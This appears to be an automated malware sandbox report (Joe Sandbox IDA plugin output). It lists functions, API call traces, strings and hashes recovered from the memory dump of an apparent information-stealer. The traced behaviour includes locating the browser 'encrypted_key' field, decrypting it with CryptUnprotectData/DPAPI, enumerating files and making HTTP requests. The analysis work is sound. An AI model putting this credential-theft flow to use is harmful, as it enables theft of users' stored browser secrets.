Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s$s$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3520659465
Opcode ID: dbe7e6f6be098d9d360e1d7ceecce4e394f9ea043df7433ae92b3479a8aa8c2d
Instruction ID: 86a0151350e905f305516a8fada429d0e14b4ed56f9baf5c81d886cc2de0e58f
Opcode Fuzzy Hash: dbe7e6f6be098d9d360e1d7ceecce4e394f9ea043df7433ae92b3479a8aa8c2d
Instruction Fuzzy Hash: B35191F1D042189BDB24EB90DC99BEEBBB4AF44304F1460A8E25577181EB746E88CF54

Function 00E29CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E299EC
Part of subcall function 00E299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E29A11
Part of subcall function 00E299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E29A31
Part of subcall function 00E299C0: ReadFile.KERNEL32(000000FF,?,00000000,00E2148F,00000000), ref: 00E29A5A
Part of subcall function 00E299C0: LocalFree.KERNEL32(00E2148F), ref: 00E29A90
Part of subcall function 00E299C0: CloseHandle.KERNEL32(000000FF), ref: 00E29A9A

Part of subcall function 00E38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E38E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00E29D39

Part of subcall function 00E29AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E29AEF
Part of subcall function 00E29AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00E24EEE,00000000,?), ref: 00E29B01
Part of subcall function 00E29AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E29B2A
Part of subcall function 00E29AC0: LocalFree.KERNEL32(?,?,?,?,00E24EEE,00000000,?), ref: 00E29B3F

Part of subcall function 00E29B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E29B84
Part of subcall function 00E29B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00E29BA3
Part of subcall function 00E29B60: LocalFree.KERNEL32(?), ref: 00E29BD3

Strings

, xrefs: 00E29DC1
DPAPI, xrefs: 00E29D89
"encrypted_key":", xrefs: 00E29D30

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 376a8f1fca75a56979113aa0e95d52bdf9367a2973099ff196316e47112bbeb6
Instruction ID: c10ab4bc1a6b7f7fca9650ec73698fe57eea31e1063c90d13305337bb4ba4e41
Opcode Fuzzy Hash: 376a8f1fca75a56979113aa0e95d52bdf9367a2973099ff196316e47112bbeb6
Instruction Fuzzy Hash: 623150B6D10219ABCF04DBE4EC85BEEB7B8AF48304F146558E901B3242E7349A44CBA1

Function 00E36AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01809A28,?,00E4110C,?,00000000,?,00E41110,?,00000000,00E40AEF), ref: 00E36ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00E36AE8
CloseHandle.KERNEL32(00000000), ref: 00E36AF9
Sleep.KERNEL32(00001770), ref: 00E36B04
CloseHandle.KERNEL32(?,00000000,?,01809A28,?,00E4110C,?,00000000,?,00E41110,?,00000000,00E40AEF), ref: 00E36B1A
ExitProcess.KERNEL32 ref: 00E36B22

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: a50c6951b0f2c0b796dd1ef0da5f643b862513a89bea260f4416fb8207faf3e2
Instruction ID: 8c76b7985bd14e49f52c28c09beba4ad4bd1e7285a8ed921a90885400d83deff
Opcode Fuzzy Hash: a50c6951b0f2c0b796dd1ef0da5f643b862513a89bea260f4416fb8207faf3e2
Instruction Fuzzy Hash: 6EF03A30A40209FEEB20BBB09C1EBBDBFB4FB04701F10A514F543B6181CBB55540DA55

Function 00E247B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

Strings

<, xrefs: 00E247C9

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 59a3e0c870844701c2b85eaba1f2a74cff0a17efd2bef7bd188170646a121a61
Instruction ID: c0c070cd6378c21e6c62b4ce3ccd51a78efa697e27eee0612fd5af42402151ab
Opcode Fuzzy Hash: 59a3e0c870844701c2b85eaba1f2a74cff0a17efd2bef7bd188170646a121a61
Instruction Fuzzy Hash: C3214FB1D00208ABDF14DFA4E849ADD7BB8FB44320F109225F955B72C0DB746A09CF91

Function 00E351F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E26280: InternetOpenA.WININET(00E40DFE,00000001,00000000,00000000,00000000), ref: 00E262E1
Part of subcall function 00E26280: StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E26303
Part of subcall function 00E26280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E26335
Part of subcall function 00E26280: HttpOpenRequestA.WININET(00000000,GET,?,0180F388,00000000,00000000,00400100,00000000), ref: 00E26385
Part of subcall function 00E26280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E263BF
Part of subcall function 00E26280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E263D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E35228

Strings

ERROR, xrefs: 00E35273
ERROR, xrefs: 00E3521A

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 91c7c1e87393e820e5938c5049629b87cf97acd3804d66e9494567a9970c62f4
Instruction ID: 51201705b3b4c5a38dd53ed8d0bdc0a43d3f7fa6b625d8005395b4b836c84ed0
Opcode Fuzzy Hash: 91c7c1e87393e820e5938c5049629b87cf97acd3804d66e9494567a9970c62f4
Instruction Fuzzy Hash: 46113331910148ABCB18FF64DD9AAED7BB8AF50300F4451A8F84A77192EF306B45C691

Function 00E34F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

lstrcat.KERNEL32(?,00000000), ref: 00E34F7A
lstrcat.KERNEL32(?,00E41070), ref: 00E34F97
lstrcat.KERNEL32(?,01809A08), ref: 00E34FAB
lstrcat.KERNEL32(?,00E41074), ref: 00E34FBD

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E3492C
Part of subcall function 00E34910: FindFirstFileA.KERNEL32(?,?), ref: 00E34943

Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FDC), ref: 00E34971
Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FE0), ref: 00E34987
Part of subcall function 00E34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E34B7D
Part of subcall function 00E34910: FindClose.KERNEL32(000000FF), ref: 00E34B92

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 4960fcd365909e7a9ba366176d199f3084adfc20ed849b5e2dccba3384fe040d
Instruction ID: fc9ecaf4004b4fb909e2086a603320bec9efe3f97d53f5e557a7186c83cc701e
Opcode Fuzzy Hash: 4960fcd365909e7a9ba366176d199f3084adfc20ed849b5e2dccba3384fe040d
Instruction Fuzzy Hash: 432177B6A00204ABC764F760EC4AEED377CAB94300F005594F699B3185EE7596C8CB91

Function 00E30740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,018098E8), ref: 00E3079A
StrCmpCA.SHLWAPI(00000000,018099C8), ref: 00E30866
StrCmpCA.SHLWAPI(00000000,018099B8), ref: 00E3099D

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 17c7702e6840d0d31389c4094c96cddadd494d3f845ce01bb26e0303caac8dac
Instruction ID: 8c061b61e88487c48b63715d4302802a11068d219e4e0d2fa5e4ca2fcb86b252
Opcode Fuzzy Hash: 17c7702e6840d0d31389c4094c96cddadd494d3f845ce01bb26e0303caac8dac
Instruction Fuzzy Hash: 29919875B002089FCB28EF64D995BED7BF5FF94300F449569E849AF241DB30AA45CB82

Function 00E30765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,018098E8), ref: 00E3079A
StrCmpCA.SHLWAPI(00000000,018099C8), ref: 00E30866
StrCmpCA.SHLWAPI(00000000,018099B8), ref: 00E3099D

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
